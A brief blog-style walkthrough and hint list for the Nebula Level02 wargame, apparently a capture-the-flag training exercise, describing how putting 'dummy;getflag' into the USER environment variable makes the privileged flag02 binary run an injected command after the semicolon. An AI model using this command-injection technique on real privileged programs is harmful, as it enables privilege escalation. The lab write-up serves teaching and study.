Insert "dummy;getflag" value to USER environment variable. Due to the semicolon, It is separated into two sentences.




Like the upper image, if you execute the flag02, the echo command prints the dummy string. Then the getflag command on the right of the semicolon is executed.

Clear

September 23, 2016

Nebula Level02 hint





[Hint#1] Sticky bit is configured in the flag02 file.




[Hint#2] If you execute the flag02 file, You can see the upper result that includes value of USER environment variable.




[Hint#3] The flag02 file finally executes the commands contained in the buffer.